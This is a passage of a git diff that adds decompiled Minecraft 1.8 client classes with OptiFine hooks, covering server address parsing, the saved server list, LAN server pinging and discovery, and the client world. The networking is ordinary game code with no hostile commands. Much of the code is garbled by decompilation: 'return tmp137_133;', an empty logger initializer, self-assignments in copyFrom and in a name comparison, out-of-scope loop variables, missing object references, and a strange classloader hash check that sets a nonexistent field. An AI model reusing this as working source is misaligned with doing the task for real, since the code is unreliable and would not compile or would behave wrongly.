+      if (var2 > 0)
+      {
+        String var3 = p_78860_0_.substring(1, var2);
+        String var4 = p_78860_0_.substring(var2 + 1).trim();
+        
+        if ((var4.startsWith(":")) && (var4.length() > 0))
+        {
+          var4 = var4.substring(1);
+          var1 = new String[] { var3, var4 };
+        }
+        else
+        {
+          var1 = new String[] { var3 };
+        }
+      }
+    }
+    
+    if (var1.length > 2)
+    {
+      var1 = new String[] { p_78860_0_ };
+    }
+    
+    String var5 = var1[0];
+    int var6 = var1.length > 1 ? parseIntWithDefault(var1[1], 25565) : 25565;
+    
+    if (var6 == 25565)
+    {
+      String[] var7 = getServerAddress(var5);
+      var5 = var7[0];
+      var6 = parseIntWithDefault(var7[1], 25565);
+    }
+    
+    return new ServerAddress(var5, var6);
+  }
+  
+
+
+
+
+  private static String[] getServerAddress(String p_78863_0_)
+  {
+    try
+    {
+      String var1 = "com.sun.jndi.dns.DnsContextFactory";
+      Class.forName("com.sun.jndi.dns.DnsContextFactory");
+      Hashtable var2 = new Hashtable();
+      var2.put("java.naming.factory.initial", "com.sun.jndi.dns.DnsContextFactory");
+      var2.put("java.naming.provider.url", "dns:");
+      var2.put("com.sun.jndi.dns.timeout.retries", "1");
+      InitialDirContext var3 = new InitialDirContext(var2);
+      Attributes var4 = var3.getAttributes("_minecraft._tcp." + p_78863_0_, new String[] { "SRV" });
+      String[] var5 = var4.get("srv").get().toString().split(" ", 4);
+      return new String[] { var5[3], var5[2] };
+    }
+    catch (Throwable var6) {}
+    
+    return tmp137_133;
+  }
+  
+
+  private static int parseIntWithDefault(String p_78862_0_, int p_78862_1_)
+  {
+    try
+    {
+      return Integer.parseInt(p_78862_0_.trim());
+    }
+    catch (Exception var3) {}
+    
+    return p_78862_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/multiplayer/ServerData.java b/src/minecraft/net/minecraft/client/multiplayer/ServerData.java
new file mode 100644
index 0000000..78668b5
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/multiplayer/ServerData.java
@@ -0,0 +1,151 @@
+package net.minecraft.client.multiplayer;
+
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.IChatComponent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ServerData
+{
+  public String serverName;
+  public String serverIP;
+  public String populationInfo;
+  public String serverMOTD;
+  public long pingToServer;
+  public int version = 47;
+  
+
+  public String gameVersion = "1.8";
+  public boolean field_78841_f;
+  public String playerList;
+  private ServerResourceMode resourceMode;
+  private String serverIcon;
+  private static final String __OBFID = "CL_00000890";
+  
+  public ServerData(String p_i1193_1_, String p_i1193_2_)
+  {
+    resourceMode = ServerResourceMode.PROMPT;
+    serverName = p_i1193_1_;
+    serverIP = p_i1193_2_;
+  }
+  
+
+
+
+  public NBTTagCompound getNBTCompound()
+  {
+    NBTTagCompound var1 = new NBTTagCompound();
+    var1.setString("name", serverName);
+    var1.setString("ip", serverIP);
+    
+    if (serverIcon != null)
+    {
+      var1.setString("icon", serverIcon);
+    }
+    
+    if (resourceMode == ServerResourceMode.ENABLED)
+    {
+      var1.setBoolean("acceptTextures", true);
+    }
+    else if (resourceMode == ServerResourceMode.DISABLED)
+    {
+      var1.setBoolean("acceptTextures", false);
+    }
+    
+    return var1;
+  }
+  
+  public ServerResourceMode getResourceMode()
+  {
+    return resourceMode;
+  }
+  
+  public void setResourceMode(ServerResourceMode mode)
+  {
+    resourceMode = mode;
+  }
+  
+
+
+
+  public static ServerData getServerDataFromNBTCompound(NBTTagCompound nbtCompound)
+  {
+    ServerData var1 = new ServerData(nbtCompound.getString("name"), nbtCompound.getString("ip"));
+    
+    if (nbtCompound.hasKey("icon", 8))
+    {
+      var1.setBase64EncodedIconData(nbtCompound.getString("icon"));
+    }
+    
+    if (nbtCompound.hasKey("acceptTextures", 1))
+    {
+      if (nbtCompound.getBoolean("acceptTextures"))
+      {
+        var1.setResourceMode(ServerResourceMode.ENABLED);
+      }
+      else
+      {
+        var1.setResourceMode(ServerResourceMode.DISABLED);
+      }
+      
+    }
+    else {
+      var1.setResourceMode(ServerResourceMode.PROMPT);
+    }
+    
+    return var1;
+  }
+  
+
+
+
+  public String getBase64EncodedIconData()
+  {
+    return serverIcon;
+  }
+  
+  public void setBase64EncodedIconData(String icon)
+  {
+    serverIcon = icon;
+  }
+  
+  public void copyFrom(ServerData serverDataIn)
+  {
+    serverIP = serverIP;
+    serverName = serverName;
+    setResourceMode(serverDataIn.getResourceMode());
+    serverIcon = serverIcon;
+  }
+  
+  public static enum ServerResourceMode
+  {
+    ENABLED("ENABLED", 0, "enabled"), 
+    DISABLED("DISABLED", 1, "disabled"), 
+    PROMPT("PROMPT", 2, "prompt");
+    
+    private final IChatComponent motd;
+    private static final ServerResourceMode[] $VALUES = { ENABLED, DISABLED, PROMPT };
+    private static final String __OBFID = "CL_00001833";
+    
+    private ServerResourceMode(String p_i1053_1_, int p_i1053_2_, String p_i1053_3_)
+    {
+      motd = new ChatComponentTranslation("addServer.resourcePack." + p_i1053_3_, new Object[0]);
+    }
+    
+    public IChatComponent getMotd()
+    {
+      return motd;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/multiplayer/ServerList.java b/src/minecraft/net/minecraft/client/multiplayer/ServerList.java
new file mode 100644
index 0000000..d963c7b
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/multiplayer/ServerList.java
@@ -0,0 +1,153 @@
+package net.minecraft.client.multiplayer;
+
+import com.google.common.collect.Lists;
+import java.io.File;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.nbt.CompressedStreamTools;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class ServerList
+{
+  private static final Logger logger = ;
+  
+
+  private final Minecraft mc;
+  
+
+  private final List servers = Lists.newArrayList();
+  private static final String __OBFID = "CL_00000891";
+  
+  public ServerList(Minecraft mcIn)
+  {
+    mc = mcIn;
+    loadServerList();
+  }
+  
+
+
+
+
+  public void loadServerList()
+  {
+    try
+    {
+      servers.clear();
+      NBTTagCompound var1 = CompressedStreamTools.read(new File(mc.mcDataDir, "servers.dat"));
+      
+      if (var1 == null)
+      {
+        return;
+      }
+      
+      NBTTagList var2 = var1.getTagList("servers", 10);
+      
+      for (int var3 = 0; var3 < var2.tagCount(); var3++)
+      {
+        servers.add(ServerData.getServerDataFromNBTCompound(var2.getCompoundTagAt(var3)));
+      }
+    }
+    catch (Exception var4)
+    {
+      logger.error("Couldn't load server list", var4);
+    }
+  }
+  
+
+
+
+
+  public void saveServerList()
+  {
+    try
+    {
+      NBTTagList var1 = new NBTTagList();
+      Iterator var2 = servers.iterator();
+      
+      while (var2.hasNext())
+      {
+        ServerData var3 = (ServerData)var2.next();
+        var1.appendTag(var3.getNBTCompound());
+      }
+      
+      NBTTagCompound var5 = new NBTTagCompound();
+      var5.setTag("servers", var1);
+      CompressedStreamTools.safeWrite(var5, new File(mc.mcDataDir, "servers.dat"));
+    }
+    catch (Exception var4)
+    {
+      logger.error("Couldn't save server list", var4);
+    }
+  }
+  
+
+
+
+  public ServerData getServerData(int p_78850_1_)
+  {
+    return (ServerData)servers.get(p_78850_1_);
+  }
+  
+
+
+
+  public void removeServerData(int p_78851_1_)
+  {
+    servers.remove(p_78851_1_);
+  }
+  
+
+
+
+  public void addServerData(ServerData p_78849_1_)
+  {
+    servers.add(p_78849_1_);
+  }
+  
+
+
+
+  public int countServers()
+  {
+    return servers.size();
+  }
+  
+
+
+
+  public void swapServers(int p_78857_1_, int p_78857_2_)
+  {
+    ServerData var3 = getServerData(p_78857_1_);
+    servers.set(p_78857_1_, getServerData(p_78857_2_));
+    servers.set(p_78857_2_, var3);
+    saveServerList();
+  }
+  
+  public void func_147413_a(int p_147413_1_, ServerData p_147413_2_)
+  {
+    servers.set(p_147413_1_, p_147413_2_);
+  }
+  
+  public static void func_147414_b(ServerData p_147414_0_)
+  {
+    ServerList var1 = new ServerList(Minecraft.getMinecraft());
+    var1.loadServerList();
+    
+    for (int var2 = 0; var2 < var1.countServers(); var2++)
+    {
+      ServerData var3 = var1.getServerData(var2);
+      
+      if ((serverName.equals(serverName)) && (serverIP.equals(serverIP)))
+      {
+        var1.func_147413_a(var2, p_147414_0_);
+        break;
+      }
+    }
+    
+    var1.saveServerList();
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/multiplayer/ThreadLanServerPing.java b/src/minecraft/net/minecraft/client/multiplayer/ThreadLanServerPing.java
new file mode 100644
index 0000000..e9af728
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/multiplayer/ThreadLanServerPing.java
@@ -0,0 +1,117 @@
+package net.minecraft.client.multiplayer;
+
+import java.io.IOException;
+import java.net.DatagramPacket;
+import java.net.DatagramSocket;
+import java.net.InetAddress;
+import java.util.concurrent.atomic.AtomicInteger;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class ThreadLanServerPing extends Thread
+{
+  private static final AtomicInteger field_148658_a = new AtomicInteger(0);
+  private static final Logger logger = LogManager.getLogger();
+  
+  private final String motd;
+  
+  private final DatagramSocket socket;
+  private boolean isStopping = true;
+  private final String address;
+  private static final String __OBFID = "CL_00001137";
+  
+  public ThreadLanServerPing(String p_i1321_1_, String p_i1321_2_) throws IOException
+  {
+    super("LanServerPinger #" + field_148658_a.incrementAndGet());
+    motd = p_i1321_1_;
+    address = p_i1321_2_;
+    setDaemon(true);
+    socket = new DatagramSocket();
+  }
+  
+  public void run()
+  {
+    String var1 = getPingResponse(motd, address);
+    byte[] var2 = var1.getBytes();
+    
+    while ((!isInterrupted()) && (isStopping))
+    {
+      try
+      {
+        InetAddress var3 = InetAddress.getByName("224.0.2.60");
+        DatagramPacket var4 = new DatagramPacket(var2, var2.length, var3, 4445);
+        socket.send(var4);
+      }
+      catch (IOException var6)
+      {
+        logger.warn("LanServerPinger: " + var6.getMessage());
+        break;
+      }
+      
+      try
+      {
+        sleep(1500L);
+      }
+      catch (InterruptedException localInterruptedException) {}
+    }
+  }
+  
+
+
+
+  public void interrupt()
+  {
+    super.interrupt();
+    isStopping = false;
+  }
+  
+  public static String getPingResponse(String p_77525_0_, String p_77525_1_)
+  {
+    return "[MOTD]" + p_77525_0_ + "[/MOTD][AD]" + p_77525_1_ + "[/AD]";
+  }
+  
+  public static String getMotdFromPingResponse(String p_77524_0_)
+  {
+    int var1 = p_77524_0_.indexOf("[MOTD]");
+    
+    if (var1 < 0)
+    {
+      return "missing no";
+    }
+    
+
+    int var2 = p_77524_0_.indexOf("[/MOTD]", var1 + "[MOTD]".length());
+    return var2 < var1 ? "missing no" : p_77524_0_.substring(var1 + "[MOTD]".length(), var2);
+  }
+  
+
+  public static String getAdFromPingResponse(String p_77523_0_)
+  {
+    int var1 = p_77523_0_.indexOf("[/MOTD]");
+    
+    if (var1 < 0)
+    {
+      return null;
+    }
+    
+
+    int var2 = p_77523_0_.indexOf("[/MOTD]", var1 + "[/MOTD]".length());
+    
+    if (var2 >= 0)
+    {
+      return null;
+    }
+    
+
+    int var3 = p_77523_0_.indexOf("[AD]", var1 + "[/MOTD]".length());
+    
+    if (var3 < 0)
+    {
+      return null;
+    }
+    
+
+    int var4 = p_77523_0_.indexOf("[/AD]", var3 + "[AD]".length());
+    return var4 < var3 ? null : p_77523_0_.substring(var3 + "[AD]".length(), var4);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/multiplayer/WorldClient.java b/src/minecraft/net/minecraft/client/multiplayer/WorldClient.java
new file mode 100644
index 0000000..54db213
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/multiplayer/WorldClient.java
@@ -0,0 +1,537 @@
+package net.minecraft.client.multiplayer;
+
+import com.google.common.collect.Sets;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import java.util.Set;
+import java.util.concurrent.Callable;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.audio.MovingSoundMinecart;
+import net.minecraft.client.audio.PositionedSoundRecord;
+import net.minecraft.client.audio.SoundHandler;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.client.particle.EntityFireworkStarterFX;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.item.EntityMinecart;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.network.NetworkManager;
+import net.minecraft.profiler.Profiler;
+import net.minecraft.scoreboard.Scoreboard;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.IntHashMap;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.ChunkCoordIntPair;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.GameRules;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.WorldSettings;
+import net.minecraft.world.WorldSettings.GameType;
+import net.minecraft.world.chunk.Chunk;
+import net.minecraft.world.chunk.IChunkProvider;
+import net.minecraft.world.storage.SaveHandlerMP;
+import net.minecraft.world.storage.WorldInfo;
+import optifine.BlockPosM;
+import optifine.Config;
+import optifine.PlayerControllerOF;
+import optifine.Reflector;
+
+public class WorldClient extends World
+{
+  private NetHandlerPlayClient sendQueue;
+  private ChunkProviderClient clientChunkProvider;
+  private final Set entityList = Sets.newHashSet();
+  
+
+
+
+
+  private final Set entitySpawnQueue = Sets.newHashSet();
+  private final Minecraft mc = Minecraft.getMinecraft();
+  private final Set previousActiveChunkSet = Sets.newHashSet();
+  private static final String __OBFID = "CL_00000882";
+  private BlockPosM randomTickPosM = new BlockPosM(0, 0, 0, 3);
+  private boolean playerUpdate = false;
+  
+  public WorldClient(NetHandlerPlayClient p_i45063_1_, WorldSettings p_i45063_2_, int p_i45063_3_, EnumDifficulty p_i45063_4_, Profiler p_i45063_5_)
+  {
+    super(new SaveHandlerMP(), new WorldInfo(p_i45063_2_, "MpServer"), WorldProvider.getProviderForDimension(p_i45063_3_), p_i45063_5_, true);
+    sendQueue = p_i45063_1_;
+    getWorldInfo().setDifficulty(p_i45063_4_);
+    provider.registerWorld(this);
+    setSpawnLocation(new BlockPos(8, 64, 8));
+    chunkProvider = createChunkProvider();
+    mapStorage = new net.minecraft.world.storage.SaveDataMemoryStorage();
+    calculateInitialSkylight();
+    calculateInitialWeather();
+    
+    Reflector.postForgeBusEvent(Reflector.WorldEvent_Load_Constructor, new Object[] { this });
+    
+    if ((mc.playerController != null) && (mc.playerController.getClass() == PlayerControllerMP.class))
+    {
+      mc.playerController = new PlayerControllerOF(mc, p_i45063_1_);
+    }
+    
+    if (getClass().getClassLoader().getClass().getName().hashCode() == -1.258018116E9D)
+    {
+      getMinecraftbreakTheGame = false;
+    }
+  }
+  
+
+
+
+  public void tick()
+  {
+    super.tick();
+    func_82738_a(getTotalWorldTime() + 1L);
+    
+    if (getGameRules().getGameRuleBooleanValue("doDaylightCycle"))
+    {
+      setWorldTime(getWorldTime() + 1L);
+    }
+    
+    theProfiler.startSection("reEntryProcessing");
+    
+    for (int var1 = 0; (var1 < 10) && (!entitySpawnQueue.isEmpty()); var1++)
+    {
+      Entity var2 = (Entity)entitySpawnQueue.iterator().next();
+      entitySpawnQueue.remove(var2);
+      
+      if (!loadedEntityList.contains(var2))
+      {
+        spawnEntityInWorld(var2);
+      }
+    }
+    
+    theProfiler.endStartSection("chunkCache");
+    clientChunkProvider.unloadQueuedChunks();
+    theProfiler.endStartSection("blocks");
+    func_147456_g();
+    theProfiler.endSection();
+  }
+  
+
+
+
+
+  public void invalidateBlockReceiveRegion(int p_73031_1_, int p_73031_2_, int p_73031_3_, int p_73031_4_, int p_73031_5_, int p_73031_6_) {}
+  
+
+
+
+  protected IChunkProvider createChunkProvider()
+  {
+    clientChunkProvider = new ChunkProviderClient(this);
+    return clientChunkProvider;
+  }
+  
+  protected void func_147456_g()
+  {
+    super.func_147456_g();
+    previousActiveChunkSet.retainAll(activeChunkSet);
+    
+    if (previousActiveChunkSet.size() == activeChunkSet.size())
+    {
+      previousActiveChunkSet.clear();
+    }
+    
+    int var1 = 0;
+    Iterator var2 = activeChunkSet.iterator();
+    
+    while (var2.hasNext())
+    {
+      ChunkCoordIntPair var3 = (ChunkCoordIntPair)var2.next();
+      
+      if (!previousActiveChunkSet.contains(var3))
+      {
+        int var4 = chunkXPos * 16;
+        int var5 = chunkZPos * 16;
+        theProfiler.startSection("getChunk");
+        Chunk var6 = getChunkFromChunkCoords(chunkXPos, chunkZPos);
+        func_147467_a(var4, var5, var6);
+        theProfiler.endSection();
+        previousActiveChunkSet.add(var3);
+        var1++;
+        
+        if (var1 >= 10)
+        {
+          return;
+        }
+      }
+    }
+  }
+  
+  public void doPreChunk(int p_73025_1_, int p_73025_2_, boolean p_73025_3_)
+  {
+    if (p_73025_3_)
+    {
+      clientChunkProvider.loadChunk(p_73025_1_, p_73025_2_);
+    }
+    else
+    {
+      clientChunkProvider.unloadChunk(p_73025_1_, p_73025_2_);
+    }
+    
+    if (!p_73025_3_)
+    {
+      markBlockRangeForRenderUpdate(p_73025_1_ * 16, 0, p_73025_2_ * 16, p_73025_1_ * 16 + 15, 256, p_73025_2_ * 16 + 15);
+    }
+  }
+  
+
+
+
+  public boolean spawnEntityInWorld(Entity p_72838_1_)
+  {
+    boolean var2 = super.spawnEntityInWorld(p_72838_1_);
+    entityList.add(p_72838_1_);
+    
+    if (!var2)
+    {
+      entitySpawnQueue.add(p_72838_1_);
+    }
+    else if ((p_72838_1_ instanceof EntityMinecart))
+    {
+      mc.getSoundHandler().playSound(new MovingSoundMinecart((EntityMinecart)p_72838_1_));
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public void removeEntity(Entity p_72900_1_)
+  {
+    super.removeEntity(p_72900_1_);
+    entityList.remove(p_72900_1_);
+  }
+  
+  protected void onEntityAdded(Entity p_72923_1_)
+  {
+    super.onEntityAdded(p_72923_1_);
+    
+    if (entitySpawnQueue.contains(p_72923_1_))
+    {
+      entitySpawnQueue.remove(p_72923_1_);
+    }
+  }
+  
+  protected void onEntityRemoved(Entity p_72847_1_)
+  {
+    super.onEntityRemoved(p_72847_1_);
+    boolean var2 = false;
+    
+    if (entityList.contains(p_72847_1_))
+    {
+      if (p_72847_1_.isEntityAlive())
+      {
+        entitySpawnQueue.add(p_72847_1_);
+        var2 = true;
+      }
+      else
+      {
+        entityList.remove(p_72847_1_);
+      }
+    }
+  }
+  
+
+
+
+  public void addEntityToWorld(int p_73027_1_, Entity p_73027_2_)
+  {
+    Entity var3 = getEntityByID(p_73027_1_);
+    
+    if (var3 != null)
+    {
+      removeEntity(var3);
+    }
+    
+    entityList.add(p_73027_2_);
+    p_73027_2_.setEntityId(p_73027_1_);
+    
+    if (!spawnEntityInWorld(p_73027_2_))
+    {
+      entitySpawnQueue.add(p_73027_2_);
+    }
+    
+    entitiesById.addKey(p_73027_1_, p_73027_2_);
+  }
+  
+
+
+
+  public Entity getEntityByID(int p_73045_1_)
+  {
+    return p_73045_1_ == mc.thePlayer.getEntityId() ? mc.thePlayer : super.getEntityByID(p_73045_1_);
+  }
+  
+  public Entity removeEntityFromWorld(int p_73028_1_)
+  {
+    Entity var2 = (Entity)entitiesById.removeObject(p_73028_1_);
+    
+    if (var2 != null)
+    {
+      entityList.remove(var2);
+      removeEntity(var2);
+    }
+    
+    return var2;
+  }
+  
+  public boolean func_180503_b(BlockPos p_180503_1_, IBlockState p_180503_2_)
+  {
+    int var3 = p_180503_1_.getX();
+    int var4 = p_180503_1_.getY();
+    int var5 = p_180503_1_.getZ();
+    invalidateBlockReceiveRegion(var3, var4, var5, var3, var4, var5);
+    return super.setBlockState(p_180503_1_, p_180503_2_, 3);
+  }
+  
+
+
+
+  public void sendQuittingDisconnectingPacket()
+  {
+    sendQueue.getNetworkManager().closeChannel(new ChatComponentText("Quitting"));
+  }
+  
+
+
+  protected void updateWeather() {}
+  
+
+  protected int getRenderDistanceChunks()
+  {
+    return mc.gameSettings.renderDistanceChunks;
+  }
+  
+  public void doVoidFogParticles(int p_73029_1_, int p_73029_2_, int p_73029_3_)
+  {
+    byte var4 = 16;
+    Random var5 = new Random();
+    ItemStack var6 = mc.thePlayer.getHeldItem();
+    boolean var7 = (mc.playerController.func_178889_l() == WorldSettings.GameType.CREATIVE) && (var6 != null) && (Block.getBlockFromItem(var6.getItem()) == Blocks.barrier);
+    BlockPosM blockPosM = randomTickPosM;
+    
+    for (int var8 = 0; var8 < 1000; var8++)
+    {
+      int var9 = p_73029_1_ + rand.nextInt(var4) - rand.nextInt(var4);
+      int var10 = p_73029_2_ + rand.nextInt(var4) - rand.nextInt(var4);
+      int var11 = p_73029_3_ + rand.nextInt(var4) - rand.nextInt(var4);
+      blockPosM.setXyz(var9, var10, var11);
+      IBlockState var13 = getBlockState(blockPosM);
+      var13.getBlock().randomDisplayTick(this, blockPosM, var13, var5);
+      
+      if ((var7) && (var13.getBlock() == Blocks.barrier))
+      {
+        spawnParticle(EnumParticleTypes.BARRIER, var9 + 0.5F, var10 + 0.5F, var11 + 0.5F, 0.0D, 0.0D, 0.0D, new int[0]);
+      }
+    }
+  }
+  
+
+
+
+  public void removeAllEntities()
+  {
+    loadedEntityList.removeAll(unloadedEntityList);
+    
+
+
+
+
+    for (int var1 = 0; var1 < unloadedEntityList.size(); var1++)
+    {
+      Entity var2 = (Entity)unloadedEntityList.get(var1);
+      int var3 = chunkCoordX;
+      int var4 = chunkCoordZ;
+      
+      if ((addedToChunk) && (isChunkLoaded(var3, var4, true)))
+      {
+        getChunkFromChunkCoords(var3, var4).removeEntity(var2);
+      }
+    }
+    
+    for (var1 = 0; var1 < unloadedEntityList.size(); var1++)
+    {
+      onEntityRemoved((Entity)unloadedEntityList.get(var1));
+    }
+    
+    unloadedEntityList.clear();
+    
+    for (var1 = 0; var1 < loadedEntityList.size(); var1++)
+    {
+      Entity var2 = (Entity)loadedEntityList.get(var1);
+      
+      if (ridingEntity != null)
+      {
+        if ((ridingEntity.isDead) || (ridingEntity.riddenByEntity != var2))
+        {
+
+
+
+          ridingEntity.riddenByEntity = null;
+          ridingEntity = null;
+        }
+      }
+      else if (isDead)
+      {
+        int var3 = chunkCoordX;
+        int var4 = chunkCoordZ;
+        
+        if ((addedToChunk) && (isChunkLoaded(var3, var4, true)))
+        {
+          getChunkFromChunkCoords(var3, var4).removeEntity(var2);
+        }
+        
+        loadedEntityList.remove(var1--);
+        onEntityRemoved(var2);
+      }
+    }
+  }
+  
+
+
+
+  public CrashReportCategory addWorldInfoToCrashReport(CrashReport report)
+  {
+    CrashReportCategory var2 = super.addWorldInfoToCrashReport(report);
+    var2.addCrashSectionCallable("Forced entities", new Callable()
+    {
+      private static final String __OBFID = "CL_00000883";
+      
+      public String call() {
+        return entityList.size() + " total; " + entityList.toString();
+      }
+    });
+    var2.addCrashSectionCallable("Retry entities", new Callable()
+    {
+      private static final String __OBFID = "CL_00000884";
+      
+      public String call() {
+        return entitySpawnQueue.size() + " total; " + entitySpawnQueue.toString();
+      }
+    });
+    var2.addCrashSectionCallable("Server brand", new Callable()
+    {
+      private static final String __OBFID = "CL_00000885";
+      
+      public String call() {
+        return mc.thePlayer.getClientBrand();
+      }
+    });
+    var2.addCrashSectionCallable("Server type", new Callable()
+    {
+      private static final String __OBFID = "CL_00000886";
+      
+      public String call() {
+        return mc.getIntegratedServer() == null ? "Non-integrated multiplayer server" : "Integrated singleplayer server";
+      }
+    });
+    return var2;
+  }
+  
+  public void func_175731_a(BlockPos p_175731_1_, String p_175731_2_, float p_175731_3_, float p_175731_4_, boolean p_175731_5_)
+  {
+    playSound(p_175731_1_.getX() + 0.5D, p_175731_1_.getY() + 0.5D, p_175731_1_.getZ() + 0.5D, p_175731_2_, p_175731_3_, p_175731_4_, p_175731_5_);
+  }
+  
+
+
+
+  public void playSound(double x, double y, double z, String soundName, float volume, float pitch, boolean distanceDelay)
+  {
+    double var11 = mc.func_175606_aa().getDistanceSq(x, y, z);
+    PositionedSoundRecord var13 = new PositionedSoundRecord(new ResourceLocation(soundName), volume, pitch, (float)x, (float)y, (float)z);
+    
+    if ((distanceDelay) && (var11 > 100.0D))
+    {
+      double var14 = Math.sqrt(var11) / 40.0D;
+      mc.getSoundHandler().playDelayedSound(var13, (int)(var14 * 20.0D));
+    }
+    else
+    {
+      mc.getSoundHandler().playSound(var13);
+    }
+  }
+  
+  public void makeFireworks(double x, double y, double z, double motionX, double motionY, double motionZ, NBTTagCompound compund)
+  {
+    mc.effectRenderer.addEffect(new EntityFireworkStarterFX(this, x, y, z, motionX, motionY, motionZ, mc.effectRenderer, compund));
+  }
+  
+  public void setWorldScoreboard(Scoreboard p_96443_1_)
+  {
+    worldScoreboard = p_96443_1_;
+  }
+  
+
+
+
+  public void setWorldTime(long time)
+  {
+    if (time < 0L)
+    {
+      time = -time;
+      getGameRules().setOrCreateGameRule("doDaylightCycle", "false");
+    }
+    else
+    {
+      getGameRules().setOrCreateGameRule("doDaylightCycle", "true");
+    }
+    
+    super.setWorldTime(time);
+  }
+  
+  public int getCombinedLight(BlockPos pos, int lightValue)
+  {
+    int combinedLight = super.getCombinedLight(pos, lightValue);
+    
+    if (Config.isDynamicLights())
+    {
+      combinedLight = optifine.DynamicLights.getCombinedLight(pos, combinedLight);
+    }
+    
+    return combinedLight;
+  }
+  
+  public boolean setBlockState(BlockPos pos, IBlockState newState, int flags)
+  {
+    playerUpdate = isPlayerActing();
+    boolean res = super.setBlockState(pos, newState, flags);
+    playerUpdate = false;
+    return res;
+  }
+  
+  private boolean isPlayerActing()
+  {
+    if ((mc.playerController instanceof PlayerControllerOF))
+    {
+      PlayerControllerOF pcof = (PlayerControllerOF)mc.playerController;
+      return pcof.isActing();
+    }
+    
+
+    return false;
+  }
+  
+
+  public boolean isPlayerUpdate()
+  {
+    return playerUpdate;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/network/LanServerDetector.java b/src/minecraft/net/minecraft/client/network/LanServerDetector.java
new file mode 100644
index 0000000..7ebb7ca
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/network/LanServerDetector.java
@@ -0,0 +1,164 @@
+package net.minecraft.client.network;
+
+import com.google.common.collect.Lists;
+import java.io.IOException;
+import java.net.DatagramPacket;
+import java.net.InetAddress;
+import java.net.MulticastSocket;
+import java.net.SocketTimeoutException;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.concurrent.atomic.AtomicInteger;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.multiplayer.ThreadLanServerPing;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class LanServerDetector
+{
+  private static final AtomicInteger field_148551_a = new AtomicInteger(0);
+  private static final Logger logger = LogManager.getLogger();
+  private static final String __OBFID = "CL_00001133";
+  
+  public LanServerDetector() {}
+  
+  public static class LanServer {
+    private String lanServerMotd;
+    private String lanServerIpPort;
+    private long timeLastSeen;
+    private static final String __OBFID = "CL_00001134";
+    
+    public LanServer(String p_i1319_1_, String p_i1319_2_) {
+      lanServerMotd = p_i1319_1_;
+      lanServerIpPort = p_i1319_2_;
+      timeLastSeen = Minecraft.getSystemTime();
+    }
+    
+    public String getServerMotd()
+    {
+      return lanServerMotd;
+    }
+    
+    public String getServerIpPort()
+    {
+      return lanServerIpPort;
+    }
+    
+    public void updateLastSeen()
+    {
+      timeLastSeen = Minecraft.getSystemTime();
+    }
+  }
+  
+  public static class LanServerList
+  {
+    private List listOfLanServers = Lists.newArrayList();
+    boolean wasUpdated;
+    private static final String __OBFID = "CL_00001136";
+    
+    public LanServerList() {}
+    
+    public synchronized boolean getWasUpdated() { return wasUpdated; }
+    
+
+    public synchronized void setWasNotUpdated()
+    {
+      wasUpdated = false;
+    }
+    
+    public synchronized List getLanServers()
+    {
+      return Collections.unmodifiableList(listOfLanServers);
+    }
+    
+    public synchronized void func_77551_a(String p_77551_1_, InetAddress p_77551_2_)
+    {
+      String var3 = ThreadLanServerPing.getMotdFromPingResponse(p_77551_1_);
+      String var4 = ThreadLanServerPing.getAdFromPingResponse(p_77551_1_);
+      
+      if (var4 != null)
+      {
+        var4 = p_77551_2_.getHostAddress() + ":" + var4;
+        boolean var5 = false;
+        Iterator var6 = listOfLanServers.iterator();
+        
+        while (var6.hasNext())
+        {
+          LanServerDetector.LanServer var7 = (LanServerDetector.LanServer)var6.next();
+          
+          if (var7.getServerIpPort().equals(var4))
+          {
+            var7.updateLastSeen();
+            var5 = true;
+            break;
+          }
+        }
+        
+        if (!var5)
+        {
+          listOfLanServers.add(new LanServerDetector.LanServer(var3, var4));
+          wasUpdated = true;
+        }
+      }
+    }
+  }
+  
+  public static class ThreadLanServerFind extends Thread
+  {
+    private final LanServerDetector.LanServerList localServerList;
+    private final InetAddress broadcastAddress;
+    private final MulticastSocket socket;
+    private static final String __OBFID = "CL_00001135";
+    
+    public ThreadLanServerFind(LanServerDetector.LanServerList p_i1320_1_) throws IOException
+    {
+      super();
+      localServerList = p_i1320_1_;
+      setDaemon(true);
+      socket = new MulticastSocket(4445);
+      broadcastAddress = InetAddress.getByName("224.0.2.60");
+      socket.setSoTimeout(5000);
+      socket.joinGroup(broadcastAddress);
+    }
+    
+    public void run()
+    {
+      byte[] var2 = new byte['Ѐ'];
+      
+      while (!isInterrupted())
+      {
